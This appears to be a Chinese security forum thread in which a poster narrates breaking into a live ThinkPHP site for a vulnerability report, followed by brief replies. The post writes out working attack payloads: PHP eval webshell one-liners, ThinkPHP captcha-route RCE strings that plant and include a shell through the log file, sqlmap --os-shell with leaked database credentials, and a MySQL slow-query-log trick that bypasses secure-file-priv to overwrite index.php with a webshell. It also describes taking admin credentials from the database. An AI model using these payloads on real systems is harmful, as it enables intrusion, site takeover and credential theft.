# 记一次TP框架的SRC挖掘过程

**URL:** <https://forum.90sec.com/t/topic/2002>\
**Category:** 账号审核\
**Created:** [2022 年1 月 30 日 17:47 UTC](https://forum.90sec.com/t/topic/2002 "2022-01-30T17:47:39Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

作者： ![killshot](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/71c47a/32.png) [@killshot](https://forum.90sec.com/u/killshot)\
发布日期： [2022 年1 月 30 日 17:47 UTC](https://forum.90sec.com/t/topic/2002/1 "2022-01-30T17:47:39Z")

</div>

### 记一次TP框架的SRC

​ 作为一名刚开始实操挖洞小白，哪些地方有问题还请各位师傅给予指正。

#### 1 · 站点后台并发现是tp框架

​ 首先找到的是站点后台，但是有验证码。

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/215c460468fea8622bd2b2b6c05846dbcbe11f7a.png)

扫目录的时候没有 404.html，说明站点没有设置统一的报错页面，那么应该就可以人为制造报错来查看框架。

果然是熟悉的tp框架，直接祭上神器碰碰运气，看能不能碰到tp版本的漏洞

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/0635a1660f1bf797f7e12480215c9275557f2b56.png)

工具显示存在多个漏洞，其中有部分属于误报。

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/7032f330850202296d09a74136fb10444bcb3d9c.png)

#### 2 · 尝试获得shell

尝试使用工具自带的写马功能，但是实际操作之后发现无法连接。下载文件查看后发现“\>” 和“\<” 变成了html中的实体字符。

​ 本来准备查看工具的源码。但是github上的源码文件是空的，遂作罢

```php
工具自带的木马：
    &lt;?php @eval($_POST['showshell'])?&gt;

```

尝试使用工具爆出的数据库账号密码加上 --os-shell 写入shell

```php
sqlmap -d mysql://name:passwd@ip:port/dbs_name

```

最后以失败告终。。。。。  
 ![image](https://forum.90sec.com/uploads/default/original/2X/7/7b32d758aee75debcb61ec2e1fc4e023b95c5f8f.png)

常规使用--os-shell的前提有三个：

```php
（1）网站必须是root权限

（2）攻击者需要知道网站的绝对路径

（3）GPC为off，php主动转义的功能关闭

```

​ 直接连接数据库查看能不能找到管理员的账号和密码

​ 找到一个像是主机的账号、密码表。

​

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a61574ef49b71d4da6c6cc71f73993a03d280300.png)

​ 拿到了pe\_admin表中的内容后，尝试通过ssh连接服务器。但是发现这台服务器并没有ssh端口，这就很疑惑了

```php
nmap -sV -n ip

```

感觉自己有点傻，为什么不直接去网站的数据库找网站的后台登陆账号密码呢。

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d387f0356817ad1d449b2379f01663b2c3763343.png)

最后成功进入后台管理系统，不过这后台功能有点少啊，根本找不到上传点。看来还得想别的办法。

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/aa5d17ecdb7a07881f10dc6fb668e4e51860063c.png)

#### 3 · 从TP框架入手

看来只能转换一下思路，从tp框架入手了。

这里直接 phpinfo 看一下 disable\_functions()禁用了哪些函数。phpinfo的成功执行也证明是有RCE漏洞的

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/03987d2d2be0468121079294dfb1858be29019f9.png)

​ 在尝试了几种方法之后发现无果，而且由于 php版本为 7.3 导致无法使用 assert 来执行命令。

自己不会没关系，网上肯定有人会。这里开始去网上搜各个大佬的方法。最终经过各种尝试，把希望寄在了将马写在日志或者session里

​ 写入shell文件到日志中

```php
/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['shell']); ?>

```

​ 包含日志文件getshell

```php
/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();

```

​ 经测试，成功写入shell，但是此时只有极小的权限，并且虚拟由于 disable\_function 的原因，虚拟终端无法使用。

​ 这里看了几个大佬的博客，发现可以使用加载远程文件的方式去包含真正的shell。孩子要是有一台服务器就好了

 ![image](https://forum.90sec.com/uploads/default/original/2X/e/e28d8559717537e5e55231e059fe95efe4465b37.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/7d1d4122a63430caf2802b7c13f5524b1113e6c6.png)

#### 4 · 通过MYSQL写入shell

突然想起来手里还有数据库的账号和密码，可以尝试使用mysql手动写shell。

```sql
查看用户及权限
   SELECT user,host FROM mysql.user;

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/1/1ba596c4183be1f312b8b8b53f7aa022a1e4e0b5.png)

​ 站点的绝对路径已经通过tp报错页和phpinfo拿到了

```sql
select '<?php @eval($_POST[showshell]);?>' into outfile 'D:\wwwroot\xxxxxxxx\public\index.php';

```

![image](https://forum.90sec.com/uploads/default/original/2X/e/ea69eba21b55cfd32516605812190c98e5bcea7d.png)

​ 报错是因为mysql配置的 --secure-file-priv 默认值为 null，而只有当其值非空的时候才才能使用 into oufile 写入文件。

* * *

关于慢查询：

​ 当用户操作的查询语句超过系统的默认时间时，系统就会将此条语句纪录到慢查询日志中。系统一般默认的时间是10秒

* * *

​ 这里我们使用慢查询绕过 security-file-priv 写入shell：

```sql
 查询 slow query log 状态
SHOW VARIABLES like '%slow_query_log%';

```

![image](https://forum.90sec.com/uploads/default/original/2X/b/bcc8140c812668692d5e885a8589719b95a6574a.png)

​ 可以看到处于默认的关闭状态。

```sql
启用慢查询：
set global slow_query_log=1;

```

​

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f71cfffa5fcecbef261ec144e722ce69faf809f4.png)

​

指定慢查询的日志文件路径及文件名，

```auto
SET GLOBAL slow_query_log_file='
D:\wwwroot\xxxxx\public\index.php ';

```

​ 写入shell

```php
select '<?php eval($_GET[showshell])?>' or SLEEP(11);

```

​

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/ac2cfe0d866f9b65898c612f3394b0129bb16459.png)

成功写入。

这里遇到一个小问题，windows上的蚁剑和哥斯拉不知道为什么连不上去。可能是我这边的环境变量有问题，最后使用kali里的蚁剑成功连接shell并获得root权限

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/ac2cfe0d866f9b65898c612f3394b0129bb16459.png)

最后也是一个权重为0的站交不了补天，顺利提交两个src到cnvd。虽然没能提交到补天，不过也重在练手的过程吧。

---

<div class="post-metadata">

作者： ![pphua](https://forum.90sec.com/user_avatar/forum.90sec.com/pphua/32/10757_2.png) [@pphua](https://forum.90sec.com/u/pphua)\
发布日期： [2022 年2 月 4 日 09:17 UTC](https://forum.90sec.com/t/topic/2002/2 "2022-02-04T09:17:26Z")

</div>

慢查询绕过-secure-file-priv学到了 😀

---

<div class="post-metadata">

作者： ![meco202188](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/c2a13f/32.png) [@meco202188](https://forum.90sec.com/u/meco202188)\
发布日期： [2022 年2 月 8 日 08:33 UTC](https://forum.90sec.com/t/topic/2002/3 "2022-02-08T08:33:06Z")

</div>

现在的tp框架，要找到有曝光出来的漏洞也不容易啊，你这个还能扫出来payload。大部分都修复了，没修复的都没多大价值。  
只能扫注入点

---

<div class="post-metadata">

作者： ![killshot](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/71c47a/32.png) [@killshot](https://forum.90sec.com/u/killshot)\
发布日期： [2022 年2 月 8 日 08:45 UTC](https://forum.90sec.com/t/topic/2002/4 "2022-02-08T08:45:29Z")

</div>

能扫到纯属运气好，更巧合的是这个公司还在我室友家边上
